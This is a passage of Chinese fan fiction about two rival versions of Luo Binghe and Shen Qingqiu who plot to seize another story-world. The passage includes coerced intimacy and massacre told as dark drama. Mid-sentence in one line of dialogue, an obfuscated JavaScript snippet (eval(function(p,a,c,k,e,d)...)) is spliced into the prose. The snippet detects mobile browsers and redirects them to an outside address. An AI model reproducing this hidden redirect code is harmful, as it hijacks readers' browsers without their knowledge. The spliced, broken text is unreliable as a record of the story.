“看来您是完全没印象。”洛冰河叹口气,将怀里的人楼得更紧了些。毕竟,他总不能指望沈清秋能主动揽着他,就算是想讨个拥抱,还是将怀中人抓紧更靠谱: “另一个世界里,代表着少年真挚感情的玉佩被‘沈清秋’小心收起,‘洛冰河’感受到了‘沈清秋’的呵护,才真正将‘沈清秋’放在心里,执着的与世为敌。” “但是我们之间,即便那枚玉佩被您所得,大概率也会因质地和时机,被您随手丢在地上,扔到犄角旮旯。” ‘哎。’洛冰河又为自己叹口气。同为‘对照组’,他和沈清秋,又能有什么区别呢? “看吧。这就是我们之间的区别,也是师尊您和他之间的区别。” “如果弟子的东西不曾被人小心收起,无非就是少了一个睹物思人的物件。可如果您能——嘶——”洛冰河突然被沈清秋重重的咬了一口,只好先安抚怀里这个:“师尊,弟子—说的是事实啊。” 洛冰河表示很委屈,但又清楚的明白这时候必须要先顺毛。想要驯养一只野猫不容易,得时刻关注对方的情绪才行。 “你拿劳资当替身?!”虽然这么说可能有些不对劲,沈清秋本身也不需要洛冰河的‘爱’和‘亲近’,但任谁知道自己的身边人只是为了别人而靠近,心情都不会太好。 故而,手脚无力的沈清秋干脆张开口,恶狠狠的咬上对方的咽喉——有一定的可能性,能够直接咬碎对方的喉骨,让对方死于狼吻之下。 “那师尊还听吗?”洛冰河掰开沈清秋的牙口,忍不住叨叨一句:“师尊还不是拿弟子当替身?一边和弟子云雨一边喊着岳七的名字...” “!!!”沈清秋如遭雷劈,满脸震惊。双手发力将洛冰河推远,堪称‘连滚带爬’的跑到床铺的另一角,用被子裹着自己:“你说什么!” 他,与洛冰河合欢的时候,喊岳七?! “是啊。”洛冰河耸耸肩:“所以师尊别觉得弟子喜怒无常,明明是你先惹得弟子。”如果都这样了他还能忍下去,才是真正有病吧? “我...”沈清秋张张口,最终什么也没问。这件事根本没什么好问的,人都死了,埋在心里和记忆之中,只是会在某些极度痛苦之时下意思喊出来而已。 为了缓解氛围,沈清秋主动将话题转回来:“天道为了展示那对师徒的幸福美满,刻意让你见到他们的和睦相处。甚至还让你狂热的追求另一个‘沈清秋’,成为他们感情纠葛中的一部分,只为了展示那位主角有多么温柔可人、被人宠爱?” “是啊。”洛冰河伸展出空空如也的手心,被这一打岔,倒也不想将人抓回来了:“不期待,就不会失望。可现在强行让我看见却没办法得到,弟子怎么会甘心呢?” 洛冰河轻踹一脚手中开始掐诀的沈清秋,打断对方的施法:“当然。您也一样。”说着,起身靠近对方: “如果您的日子不够悲惨、结局不够欺零,没有达到支离破碎、举世皆敌的程度,怎么能彰显另一位主角的人生赢家?” 沈清秋厌恶的躲闪洛冰河伸来的手腕,拒绝自己的人生因其他人卷入:“那你最该去找那对师徒麻烦。”找劳资的麻烦算个什么好汉? 洛冰河再次伸手,将完全不配合的人捞回来,注视着和自己同命相连、注定要纠缠一辈子的人:“弟子说了,真正的主角是他们,弟子又怎么打得过呢。” “欺软怕硬、只会将仇恨转移到劳资身上的玩意!” “您说的都对。”洛冰河琢沈清秋一口,蹭一下对方的脸颊:“那样‘冰清玉洁’的人,天道可舍不得让我这样恶毒残暴的人接触。所以他就强行配平,就像是弟子莫名其妙想要追求那位‘沈清秋’一样,让弟子找您要温暖了。” “呵呵——”沈清秋一脚踩在洛冰河的腿上,恨不得直接废掉对方。洛冰河双手发力抱着换了个方向:“只是您的性子吗,您自己知道。”洛冰河嘴角忍不住抽搐: “弟子向您要温暖,根本就是天方夜谭。而您的忍痛能力和性格实在是硬的很,弟子又不想拿着刑具和乱七八糟的事情让您痛苦万分,所以干脆做点你我都喜欢的事情。” 关于这件事,沈清秋反应非常激烈。“本尊不喜欢!” “您会喜欢的。”洛冰河手中运转灵力,替沈清秋缓解腰部磨损:“弟子技术很好,比您偶尔喊得‘岳七’要强很多。” 沈清秋完全没听清楚洛冰河究竟在说什么,径直拒绝:“不可能!本尊宁可你杀了我。” “在没有遇见那对师徒的时侯,弟子依旧是主角。”洛冰河表情很淡,只要不遇见那两人,他可以在任何地方随心所欲:“所以师尊,弟子说您会,您就一定会。” “劳资现在就要撕碎狗屁天道!” “那弟子妇唱夫随,跟您一起反了他。” 7.2狂傲世界早已破烂不堪,无法挽救 狂傲的世界实在被损坏的过于严重,即便是沈清秋和洛冰河联手,花费近十年的时间,依旧一点效果也看不出来。 “洛冰河,你确定那些人听从安排,有安抚百姓,调理凡尘?”沈清秋看着依旧在乱战的凡尘和成为一片荒草地的修真界,眉头皱得极紧:“虽说十年间不算长远,但也不该荒芜至此。灵石和聚灵阵都布下了吗?” “师尊放心,这些都重新填补,凡尘也有专人负责。”洛冰河伸手将沈清秋的眉头抚平,将属下报过来的两个消息一一道出。 “师尊,弟子这里有两个消息和一个选择,您可要听一下?” 沈清秋手中捏着灵石滋养十年的土壤,却看不出一点灵气:“说。” “第一,即便是灵石埋下去,这么短的时间也养不出龙脉。修真界的传承被断得太干净,怕是没个千百年的养不回来的。” 看着将土块捏成细沫的沈清秋,洛冰河眼帘微微压下,嘴角勾起。 “第二嘛。那个弟子曾去过的世界地址,弟子终于找到了。而那个世界里,必然有着天道给‘主角们’埋下的后手,才能令他们短短几年内就重新恢复。” 沈清秋拍干净手掌,坦然接受洛冰河细致体贴的擦手:“所以你要我选择,要么等候千年,要么征战他国?” “师尊果然和弟子心有灵犀。” ———— 虽说征战他国是洛冰河想要的结果,但他还是有些不舍的抓着沈清秋的手腕,一次又一次的嘱咐道: “师尊,弟子给您一个月的时间,您可以用‘十多年前的沈清秋’的身份与那些人接触。”洛冰河的眼神非常执着,就像是许愿似的,非要沈清秋跟自己拉钩:“最多一个月,要不然弟子会上天入地去寻您的。” 沈清秋一把将手收回来,拒绝和哼哼唧唧的玩意接触:“让我体验一下‘团宠’的日子,接着在被打下尘埃?” “那您别去了。不去的话,弟子也可以陪着您到处遛弯。” “待在了无人烟,连个草木都没有,人气都没有的地方?” “...”洛冰河有些语涩,立刻将锅丢给天道:“是啊。您看天道就是这么不公平,为了突出那个世界的美好,不到三年就全部重建,歌舞升平。我们的世界,十年努力,却连个战乱都平息不了。” “...”沈清秋有些皱眉。他好像,应该养不出如此无耻的玩意? “我们又没有做什么,无非是抢走天道给‘他’安排的一些无关紧要的后手,也没有打断们师徒相亲相爱。想必‘主角’不在乎的,天道也不会在意,我们不过是让资源合理利用罢了。” 沈清秋越听脑子越疼,忍不住出声制止:“如此强盗行径...” “当然是和师尊一样,武力镇压的同时合理安排资源。” “...”当人不要脸的时候,是没有道德底线也没办法被言语打击的。沈清秋无力扶额,只好问出另一个问题:“将我放到另一个世界,不怕我跑了?” “师尊说笑呢。”洛冰河眨眨眼,在沈清秋耳边吹口气:“那个世界的开展里,弟子14岁前的故事一如往昔。他们这么多年没认出师尊已换人,师尊还会承认他们?” 沈清秋躲开洛冰河故意的使坏,却又忍不住询问:“一个人,也没有?”其眼中有对未来的期待,也有——对那边的近乡情易怯。他已许久没见过众人,不知那些人,现在还好吗? 只是洛冰河摇摇头,虽说提高沈清秋期待后让他绝望会更符合驯化手段,但洛冰河并不想那么做。甚至为了沈清秋能心态平和的接受,提前打预警: “弟子看见的,是所有人对那个‘沈清秋’一团和气。” 接着在沈清秋失望的脸色中,继续下重击:“就连为师尊赴死的岳清源,也没有。” “所以。如果您不想去,弟子会直接派人将他打下来,没必要让您出手。” 沈清秋的脸色一瞬间暗沉下来。原本的期待与雀跃像是被无端抹去,整个人有些沉寂。洛冰河将人揽在怀里,揉着对方的肩膀: “弟子能理解您想遇见故人的心情。可是那些人不是您的故人,更不会站在您的身后。我们的世界是天道刻意设置的芥子密境,两个世界都是为了那对师徒服务,您从一开始就不要对他们报以期待,就不会受到伤害。” 沈清秋深深吸口气,将一切情绪压下。接着伸手将洛冰河推开,大跨步站在两个世界的链接处: “本尊自然知道,那些人与本尊,从来没有关系。” 7.3狂傲九穿越渣反,顶替渣反九身份 “沈清秋?”柳清歌看着在勾栏外闪过的身影,虽然感到离奇,但还是下意识跟上前去。看着熟悉的身影熟谙的与姑娘们打交道,又转身坐在某个雅座之间,震惊的与对方视线对上。 “柳清歌?”沈九有些头疼。他原本是打算先打听一些消息,却没想到这世界的风气好像很喜欢南风,搞得他坐在听书处实在坐不下去,只好来春来院先听个曲。 柳清歌在沈九记忆里死很久了。 啊,当然,所有人都死很久了。 如果一开始看见的是岳清源或者明帆,沈九或许还有些今夕何夕的心软和触动,但身为早早下线还被沈九亲手杀死的柳清歌,沈九立刻就明白了这是两个世界、他绝不可沉迷的认知。 “你...”柳清歌有些手足无措,不知道该说些什么。沈清秋不是和那个畜生云游了吗?怎么会突然回来?而且还是来勾栏这种早就不来的地方—— 等等? 柳清歌终于明白了哪里不对劲。这个沈清秋,好像比之前更端着,看起来更令人厌恶了! 而这种厌恶,就像是看见了打小就不喜欢、恨不得天天跟他打的死对头! 可是,自从沈清秋将他从灵犀洞中救出后,那种怎么看都不顺眼的感觉,柳清歌好像再也没体会过。而今,怎么又冒出来了?! 柳清歌拿起沈清秋面前的酒壶为自己斟满,又愤恨又担心,就像是看见‘浪子回头’的老母亲似的,那就一个爱恨交织:“你回来做什么。” 心情不好,柳清歌的态度就不好。但若说不好,也只是比较与他跟沈垣的平静温和而已,对以前见面就怼、没事互刺的沈九来说,那真是——语气温柔到见了鬼! 所以柳清歌亲眼看着被激起一身寒颤的沈九猛地拉开距离,折扇一展:“柳清歌你有病啊!”接着一个杯子砸过来:“劳资爱回就回,你百战峰管天管地,还能管住我回不回山?劳资可还没来得及唤美人,别拿那套伤风败俗、有碍修炼的话来哐我!” “.....”柳清歌发誓,他是真的下意识应激、脑子还没反应过来就抽出乘鸾的。而沈九也是下意识折扇扫过,带着风刃划伤柳清歌脸颊的。 “?”沈清秋轻而易举躲开柳清歌平刺的一剑,看着躲不开自己攻击还破了相的某人,无情嘲笑: “柳公子,若是沈某方才瞄准的是你的脖子,怕是‘百战峰峰主死于勾栏’这个消息即刻便会传开。你这名声,啧啧,可是要比沈某的风流要强多了~” “你还知道自己的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075133|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声!”柳清歌看着似乎突然间功力大涨、喜欢偷袭的‘沈清秋’,心中疑惑愈深,嘴却比脑子快:“你与魔族厮混的消息满大街都是,究竟置苍穹山脸面于何故?” “柳清歌!你说谁与魔族厮混?!”沈九下意识代入自己,回想之前洛冰河牵着自己的手反复叮嘱、各种咬耳朵,以及夜间点着火烛的嘈乱,猛地瞪开眼睛大声反驳:“劳资这一生虽不能说什么错也没有,但从不可能和魔族同流合污!” 边说,沈清秋边站起来欲拔剑对打:“你就算是想污蔑我,这个谎话未免也太可笑了些!” “你与洛冰河的事情人尽皆知,说什么污蔑!”柳清歌话和动作永远比脑子快,这种针锋相对的情景实在是过于熟悉,即便十多年未曾有过,身体还是下意识出手,将沈清秋压在地上:“跟我回去!” “我不!柳清歌你有本事放开劳资,我们真刀实枪的拼一场!”沈九被柳清歌的突然出手压在桌子上,疯狂的摇晃着柳清歌压在自己肩膀上的胳膊。 他对此世一无所知,只知道‘自己’从洛冰河14岁后性情大变,经过那些中途过程后所有人都存活于世,‘沈清秋’与‘洛冰河’携手恩爱不移。如今他刚到这里,还什么都没来得及打探,怎么能被柳清歌这样带回去? “...”这般情景,实在是—— 连一贯不动脑子的柳清歌,都发现问题了。 “沈,清秋?”柳清歌的嗓音有些发颤,看着极其抗拒,坐下之后连个褶皱都没带出来,唯一的折叠还是自己压出来的人,心中隐约有个不知道该不该说出来的猜想。 “柳清歌你最好祈祷别落在我手里,要不然劳资迟早要杀了你!” “......”他丫的。这个味,真是该死的熟悉啊。 7.4狂傲九不被其他人认可,开始掀桌子 “所以,劳资就出门一趟,时间过去十五年?” 沈九兢兢业业的扮演‘黄粱一梦’‘烂柯一梦’的忠实参与者,将什么情况也不明白、记忆完全停留在故事刚开始的形象描绘得淋漓尽致: “那个叫‘洛’什么的小杂种突然被人重视,还是魔族血脉,进行了灭世之举。你们还放任他与”沈九斟酌了一下用词,相对来说温和些:“那个人厮混,败坏我的名声?” “小九——”岳清源有些头疼。 嗯,这件事谁都会头疼。 对于沈九来说,是出门一趟名被顶了、家被偷了、名声时间之类都被毁得彻底。 可是对于其他人来说,那就是莫名其妙性情大变的人,又从不知根底的地方跳了出来,还一脸迷茫无语震惊厌恶的看着他们,问他们为什么没发现不对劲。 这—— 很难评。 其实, 他们也曾,开过会的。 只是。 这件事,不能说。 而且那个‘沈清秋’,比面前这个满脸不爽,恨不得跟所有人对着干的家伙,确实要友善和谐、更惹人欣赏、想让人亲近一些。 但,这个满嘴犯贱、伶牙俐齿、刻薄寡恩、抓着他们痛脚将他们说的无地自容的人,又确确实实像是,许多年前的‘沈清秋’。 “呵呵。”沈九在将所有人都给骂了一顿之后,神清气爽、气定神闲的举起茶杯,悠悠然的品茶。洛冰河之前还与他说过,怕他融入不了这边的世界。甚至还打算给他下点记忆禁制,让他演一出失忆梗。 现在看来,这群人都是傻的。随随便便几句话就能刺的满脸燥热,连最基础的‘沈九究竟从何而来’‘又为何会一梦十年’都讨论不真切。 只是。沈九捏着杯子的手有些僵硬。 这些人对他是有愧。 却不曾有一个人提出,要将那个‘沈清秋’喊过来对峙。 毕竟。世界已经太平了,不是吗? 干嘛要因为这件事,再生波澜呢。 甚至说,他们连清静峰的阵法更换后的令牌都不曾取出来。在沈九表示要回去后,推完全看不懂局势的柳清歌出来,让他带着他先去百战峰待几天。 沈九用复杂的神情看着岳清源,岳清源却躲闪了。 ‘是啊。’沈九突然笑了起来:‘他不是为他赴死的岳清源,也不是尽力为他善后、却从没得到自己好脸色的岳七。’ 看着沈九突然发出的癫狂大笑,岳清源慌慌张张的跟上前来:“小九,我不是——” “清静峰,我不能回去了。对吗?” 沈九紧盯着岳清源,余光扫视着周围:说什么十二峰同气连枝,与他们协同的,是那个‘沈清秋’吧! 可惜岳清源即便满脸纠结、最后依旧没有回答。 不回答,往往就是回答。 因为默认,本就是一种答案。 沈九笑了。张狂的、放肆的、完全不顾礼节的、癫狂到似乎走火入魔的,放声大笑: “你们一个个的,都不欢迎我。” “表面上装的多怀念过去,心里想念的,却是那个会与你们举杯对饮、温和调笑的‘沈清秋’吧?” “甚至到了现在,连个面都不舍得让我见,是怕他实力不济,被我一剑斩了?” “百战峰峰主还在这呢,苍穹山最高领导也在这呢,就这,都不敢让人露面?” “小九!”岳清源语气加重,有些心疼,有些不满。就算是事实如此,也不该现在这样说出来! “岳清源,你现在喊我‘小九’,是不敢喊那个名字吧?”沈九笑得眼泪都出来了:“我到底废了多大努力才爬上清静峰主位,又吃了多少苦、与人打了多少架才换来的名字,结果连你都不愿意喊。” “本尊乃是清静峰主位——沈清秋。”沈九将修雅剑拔出,在自己面前划出深达三尺、长达九丈的剑痕:“本尊凭本事坐上的峰主位,即便是将整座清静峰毁去,也没人有资格拦我。” “若是谁觉得那个冒牌货合适的,就将他喊出来与本尊对峙。若是本尊输了,要杀要刮、悉听尊便!” 7.5狂傲九与渣反七决裂 “师尊,弟子送您过来是度假的,怎么您将自己搞得连个住处都没有?”洛冰河真身虽来不了,却能借助与沈九血脉相连的天魔血勉强以梦境出现。 “这不就是你的目的?”沈九坐在最高的断崖之前,双腿就那么悬空的随意将山石踢下半空。一旁是飞流直下的岩泉瀑布,脚下是数个空掉的酒坛,身后,则是被强力破除的护山阵法。 如果他当初服从了那些人,就那么跟着柳清歌离开,怕是这清静峰,才是真的永远回不来。 态度这种东西就是这样。 沈九越强硬,那些人反而不敢如何——毕竟沈九占据着大义和事实,就算将这些事情全部闹出去,沈九大可一拍屁股走人,那对师徒,呵呵。 相反,如果沈九因为这件事一步退,后面别说‘清静峰之主’的地位,怕是名字都不会属于自己。至于那些过往情谊和愧疚弥补?岳清源弥补了这么多年,最后还不是用命才换来沈九的原谅? 再说了。沈九又不是此世界的‘沈清秋’,那个被倒霉占据身躯的灵魂早就破碎,沈九只是借他的名头给自己找个合适的身份,顺便打乱这个世界的天道青睐而已。 反正都是搞事,干什么不搞个大的?憋屈了自己,还能有谁为自己发声不可? “虽然也有吧。”洛冰河虽然是梦境化身,姿态却全然不虚,伸手将人捞起来抱在怀里,右手轻拍对方后背,安抚着离家的游子:“这里很好,但不是我们的世界。” 这个世界充满了粉红泡沫和虚假的温柔如水。 或许有些人会被这样的美好所诱惑,闭上眼睛、捂住双耳,任凭自己沉沦于这样的太平和谐。 但狂傲世界的沈清秋和洛冰河不行。 他们这样的人啊,可以接受充满了猩红的铁锈味液体和一眼望不到尽头的残肢,也可以忍受来自敌人的折辱与嘲笑,更会为了自救毫不犹豫的拉无数或许全然无辜但一定倒霉的‘陪同者’下水。 会为了目的而伪装,更会毫不掩饰的暴露自己的野心与恶劣,所谓的怀柔与温和对他们根本不起作用,唯有强权和鲜血才能令人臣服。而只要最终能坐上至尊位,别说什么孤独与凄凉,便是燃尽满手的鲜血也无妨。 这样具有满心算计的肮脏内在、完全习惯了高空走钢丝的野心家们,是没办法忍受虚假的平和,接受他人带着算计的微笑,饮下或许带着毒、但更大可能什么也没有的、被旁人递过来的美酒。 “师尊啊,你若是真因为在这里被遮住了眼睛,弟子倒是会伤心的。” “他们对我戒心那么高,又对那个人如此维护。我若是还能迷恋,怕是自己也要厌弃自己。”沈九随便瘫在洛冰河怀里,仰头看着满天星空。 虽说他在真正的世界里与洛冰河针锋相对,可现在,能够令他放松的,竟然只有同属于一个世界、同样被天道安排成棋子的洛冰河。 只是那个‘沈清秋’,他什么时候能与对方真正见一面,最好再干脆打上一架呢? 看着将自己当成靠椅的沈清秋,洛冰河调整一下姿势,让对方躺得更舒服些。右手有一搭没一搭的替对方用手指梳着头发,提出别的修改意见: “那如果,弟子弄走那位‘沈清秋’,让您伪装成他,占据他的一切,取回您应有的东西,您可愿意?” ‘?’沈清秋侧了一下身子,不理解这玩意为什么突然说这种东西。他需要‘伪装’吗?需要‘取回’吗?需要像另一个胆小鬼一样,连面都不敢露的让旁人替他解决问题吗? “本尊嫌他们脏。”沈清秋右手竖起剑指,轻飘飘一招砍断旁边的岩石:“既然选择了那个人,就不要虚情假意的想‘补救’。一条路走到黑,千万莫回头。” 洛冰河眨眨眼,看着旁边走过来的岳清源,身躯自觉地虚幻起来,含笑的声音低沉优雅:“可是师尊,你心心念念的人来找你了,您真的,能如您表现那般,断情绝爱?” “小九。”岳清源有些踌躇:“你不愿去百战峰,是因为和柳师弟闹矛盾了吗?” “岳掌门。我说过很多次,不要喊我这个名字。你最亲爱的的沈师弟应该没少待在主峰的竹屋里,和魔族颠鸾倒凤吧?”沈九说出的话中都是带刺的,只要一想到自己的地方脏成那样,就恨不得一把火全烧了。 “小九。”岳清源皱眉。如果不喊这个名字,让他喊‘沈清秋’,另一个‘沈清秋’又该喊什么? “岳掌门!现在就拔剑,立刻!”沈九率先拔出修雅,脸色暗沉的恨不得杀人:“旁人都说从年少的情谊最真切,可是岳掌门,你的心里究竟放着谁?” “你不是小九。”岳清源突然开口:“小九虽然与你一样喜欢惹事,但不会如你一般暴躁和耐不住性子。你像是,很早之前的,故人。” “既然是故人,那就是死人。”沈九毫不留情的打碎对方的试探与希冀,跟洛冰河待得久了,现在完全耐不住性子和人玩钩钩绕饶那一套: “你早就察觉了吧?这个世界的沈九早就死了!现在喊我‘小九’无非是想借物思情、将我留在这里而已。岳掌门,既然已经做出选择,需要魔族的助力和那个人的控制,就别想着要留下沈某!” “那你是谁?”岳清源任凭沈九将修雅剑放在脖子上,表情真挚,像是所有世界上最诚恳温厚、爱护姊弟的兄长:“你的七哥,在哪里?” “!”这家伙真是哪壶不开提哪壶,沈九手腕下压,在岳清源脖子上化出血痕:“沈某的七哥,死在了去拜师学艺的路上,更死在修真界与魔界争斗的战场上。他才不会任由魔族侵蚀,用自己幼弟的身躯,去换取这虚假的和平!” 沈九执着的将两人分开,看向岳清源的眼里满是不屑:“你?比不上他。将这个世界的沈九完全遗忘的人,更是不配提起他!” 7.6狂傲九与狂傲冰联手,双恶人 “师尊可真绝情。”随着岳清源走远,洛冰河浮现身影。先是满意的在沈清秋脸上啄了一下,接着将人搂着腰重新躺回地上,陪对方看星星:“是故意在我面前掩饰,还是真不喜欢这里?” “本尊不需要被人拿捏的弱点,更不会承认这群早就忘记‘沈清秋’,闭上眼睛当成什么也不知道的‘同伴’。本尊真正的同伴,早就死在了与你对阵的残肢里,死在除魔卫道的心愿之下。” “我不信。”洛冰河突然低下头,望着沈清秋开合的红唇。 “什么?” “弟子说。”洛冰河克制住想亲吻对方的念头,将沈清秋的头颅压在自己怀里:“弟子不信您真能对他们没感情。要不然也不会执着的将自己与他们划分为两个世界。” “您在害怕,害怕自己不被选择。所以在给对方选择之前,干脆自己退出选项。” 感受到怀里僵硬之后,洛冰河轻轻拍着沈清秋的后背:“您说的不错。这样的同伴,不要也罢。等弟子将这里打下来,再用这个世界的本源能量将属于我们的世界重启。” “天道创造了我们,却又只是想用我们的痛苦去跟‘主角’做对比。现在又觉得‘洛冰河’的实力过于强横到超格,便让弟子将全部精力投入到想方设法换取您的爱意。” 洛冰河看着远比自己世界要更明亮璀璨的夜空,想着脑海中曾见到过的无数条失败be线。那个叫‘冰哥’的洛冰河与叫‘沈九’的沈清秋,在无数的世界线中互恨着、互杀着、互骂着、互算互坑着。 两个人都在声嘶力竭的痛苦着,一个因得不到而愤恨,继而将这份恨意反复加注后投放到沈清秋身上;一个因逃不掉又不愿服软而疯狂,反复的拉扯之下,哪怕是国仇家恨、朋离人散,也不得不咽下所有苦水,妥协出世人爱看的he。 可真实世界中,属于他们的te线里。为什么不能是沈九与冰哥,直接联手攻打这个世界,抢占天道偏袒下来的机缘? 是因为——天道的限制之下,冰与九只有互杀、最多相爱,完全不可能真正携手去尝试征战更多世界,抢夺世界本源吗? 想到这里,洛冰河实在是压抑不住对对方的欣赏,嘴角翘得老高:“可是天道也不会想到,您的意志从不会被影响,也不可能因其他而改变。” “弟子,也从来不会囤圄于情爱,放弃开疆扩土。” 洛冰河将人紧紧揽在怀里,隔着两个世界的距离,低头亲吻着: “既然如此,就让我们这对淤泥里养出来的‘对照组’联手,将天道、天命这种东西,从高高在上的天空,拽到这人世间。” 7.7一切重来,望君记得 最后的关节点,沈清秋亲眼看着血流成河,万物沦为灰烬,在一切都快速失去色彩的时候,突然间发问:“为什么。非要用他们的命,换其他人的命。” 他不是想制止仪式,也不是在得到一切后猫哭耗子的假慈悲。只是一切艳丽变成灰白、恢宏大厦就地倒塌,河水倒流干枯、生机尽数抽取,就连脚边的石头都化为最基础的捻粉时,那种源于生命最底层的触动。 存活是生灵最根源的需求,而毁灭一切,本就有违本能。 “师尊,您心软了。” 洛冰河掰着沈清秋的下颚,手指发力。鲜血从头口中大量涌出,轻柔的吐息喷洒于沈清秋脸庞,两人的眼睛是同样的漆黑幽深: “别迷恋这里。镜花水月之中,他们都抛弃了你。那个叫‘沈九’的灵魂早已破散到不知道哪里追寻,只要有弟子在,您永远不是被人遗忘的那个。” “这些人一边认下你,一边又排斥你 。他们宁可护着夺舍的孤魂野鬼,也不愿在真相大白下讨伐那个‘沈垣’。” “只有弟子。只有我才是真的。我们必须趁天道转世为人,趁‘系统’虚弱之时,将‘洛冰河’的总能源转换到弟子身上,接着以弟子和‘洛冰河’的命,才能开启轮回,断绝天道的再次操控!” “只希望再次见面之时,师尊莫要再丢给弟子一盆冷水。让恩怨,直接了断于根源。”洛冰河接着笑了笑,微微勾起嘴角,露出一个抹去所有伪装、极为真实诚恳的笑意: “当然,如果师尊愿意多给一些关注,相信叫‘洛冰河’的小弟子,会开心到将世界都捧到您面前。” 6. (未完)镜花水月 细纲 洛冰河终于将修真界打下来后,负责围剿苍穹山的人递上一把残剑。一柄,吸满了修真者血精、看起来完全不正统的剑。 只是这样‘歪门邪道’的物件,却一直被修真界第一大派的掌门人,时时刻刻背在背上,卡在腰间。怎么不算灯下黑呢? “尊主,此剑邪性的很,似乎吸收了一个人整个身体的血脉用以滋养,强行达成人剑合一、心意相通的目的。” “嗯。下去吧。”洛冰河将人撵下去,随便将残剑吸来。其剑身颜色黑红,上面隐约露出一个‘肃’字,开双刃、带血槽。剑柄之处并未缠上绷带,也无剑穗等装饰。 以此剑的材质来说,执剑人位高权重;以手柄处的磨损来看,持剑人平日里鲜少拔剑对打、威慑意义大于战斗意义。再加上一个‘肃’字,拥有者是谁,洛冰河在清静峰待了快十年,并不难猜。 原来他也死了啊,那个温厚忠良的和事佬。原以为他绝不会拔剑,却没想到最后还是上场了。 也是,毕竟正道掌门之一,他不拔剑,修真界的唾沫星子都能将他淹没。 洛冰河很快联想到被他早早用计擒住的沈清秋,听说清静峰的弟子曾闯过几次魔界,不知现在如何? “来人,备马。” 洛冰河手中把玩着绝对不详的残剑,一步步踏入地牢。他与沈清秋有多久没见了?好像自从拿下幻花宫、将人转入魔族地牢后,就没见过。 这倒也怪不得洛冰河,毕竟他要忙碌征战修真界的事情,一个已经被抓住的阶下囚,只要没闹出劫狱、越狱、火烧魔界这种大事,手下人也不会闲着无聊汇报。 嗯。只是事实,有时候并不如人所愿。 沈清秋的凄惨程度,令洛冰河有些震惊。(……) 洛冰河没下令要折腾沈清秋。 当然,也没下令不能。 所以……洛冰河知道沈清秋不会太舒服只是没想到,魔族这些货色,是真的将人往死里整。 在一片‘魔尊大人好’的声音中,沈清秋睁开了眼睛。两人对视,一高傲,一沉默。就在洛冰河以为对方会说些什么的时候,沈清秋看见了他手中的断剑。 身旁的小卒为了‘讨好’魔尊,先是狗腿的冲魔尊行礼,接着尖酸刻薄、歪声怪气的冲沈清秋描述情况: “呦,还端着仙尊的架势呢?你那些弟子一个个可都死的死残的残,你身边的苍穹山更是第一个被魔尊大人覆灭。听说那个掌门岳什么,还被一封信给骗过来,万箭穿心,死的那叫一个惨!现在修真界都不存在了,您还端个高人一等的仙尊架势,我们好怕怕呦~哈哈哈哈” 虽说狱卒的话语连洛冰河都听不下去,可沈清秋却毫无反应,只是紧盯着洛冰河手中的残剑,想要看着更清晰一些。 情况一瞬间有点诡异。洛冰河明明是想来看沈清秋笑话的。可现在看见对方如此凄惨到毫无还手之力、言辞之间也不怒骂,表情也没有憎恨,更没出来恨透他到希望咬下来一块肉的样子。一时间心情复杂。 如果沈清秋看见他就骂,或者表情厌恶的试图揍他,反复尝试着逃跑,恨不得给他下毒,或伤敌一千自损八百——洛冰河会有一种将不喜之人压在手心,看着对方无能狂怒的满足感。 如果沈清秋看见他极为热切,口中说着道歉和服软的话,希望通过一些弥补手段换取之后的舒服生活——洛冰河会认为这是一个没骨气的恶劣小人,真是平白浪费了这样清俊脱俗的皮囊。 可是沈清秋的表情太奇怪了。 他的状况明明很凄惨,却诡异的有一种……满足?这家伙不会有什么喜欢被打的隐藏癖好,在地牢的折腾下反而本性暴露了吧? 洛冰河将手中剑向前推了一下,让沈清秋看得更仔细。尤其是中间那个‘肃’字,洛冰河刻意展示许久。 沈清秋认真确定残剑后,终于开口问了一句:“修真界全员覆灭,洛尊主可曾安抚善后?” 声音沙哑而破碎,非常符合在地牢里沉浮、被各种刑法打压的阶下囚身份。只是沈清秋之前的声音明明如山泉水般清澈冷冽,洛冰河难得有些恍惚。 身边的狱卒看着魔尊‘不愿回答’的样子,极为自傲的拍了拍胸口: “魔尊带我们打下修真界,那些资源自然全归我们处理。修真界残余的那些龟孙一个个逃入山林,被大部队地毯式搜索,全部抓出来,女的留到地牢,男的就地格杀!” “至于没什么油水的凡尘,那些自诩神权天授的皇帝们倒也乖觉。自发献出大批财物珍宝,还许诺年年进贡,见到修灵气的就上报,势必要让他们躲在深山老林里半个头也不露!” “你断了修真界根基,还加大尘世赋税?”沈清秋的总结能力极强,两句话将洛冰河一年来的事务归为一句评价。而此时此刻,沈清秋的情绪才终于有些波动:“你手中,玄肃?” 洛冰河看着姿态明显不正常的沈清秋,说出了地牢中的第一句话,第一个字:“对。” 沈清秋闭了闭眼睛,突然大笑起来。笑声凄凉而苍茫,带着一股平静水流下满是暗礁的疯狂,沈清秋激发全部灵力,拍向自己心口,大量的鲜血喷洒,渐了洛冰河一身。 洛冰河一脚踏碎地牢的牢门,将天魔血喂入对方口中,又差人传唤医师,势必要留下沈清秋的性命。 ———— 洛冰河有些不理解。沈清秋的表现太过不正常,完全不符合一惯行为。 就在他路上走着时,遇见了另一个和他长得极像的男子。那家伙一身白衣,与黑衣的他截然不同。两人见面的那一刻,命运的转轮好像开始转动,双方只是一个对面,就明白了‘另一个自己’。他问他:“你将我师尊藏哪了?” “?”洛冰河看着对方的样子,忍不住看了眼旁边——是自己的宫殿,亦没进入幻境,这个人从何而来?又莫名其妙说些什么玩意? 对方怕是看他没理解,又重复到:“你将沈清秋弄哪了?” 沈清秋?洛冰河摸出没来得及送出去的残剑,理所应当的回答:“当然是地牢。诺,我身上这些都是他的血。” 洛冰河想一下在自己面前自尽的沈清秋,心里还有些怵气。又看一眼和自己一模一样的白衣冰妹,不由声音加重:“你见主人家不先报上姓名,也不递上拜帖,莫名其妙找我要一个阶下囚,意欲何为?” 冰妹也认出这柄剑,不过他完全没有自报家门的想法,听到黑衣冰哥说‘沈清秋满身血溅在他身上’,看眼他手中的断剑,嘴里嘟囔了一句:“又是这场大战。” 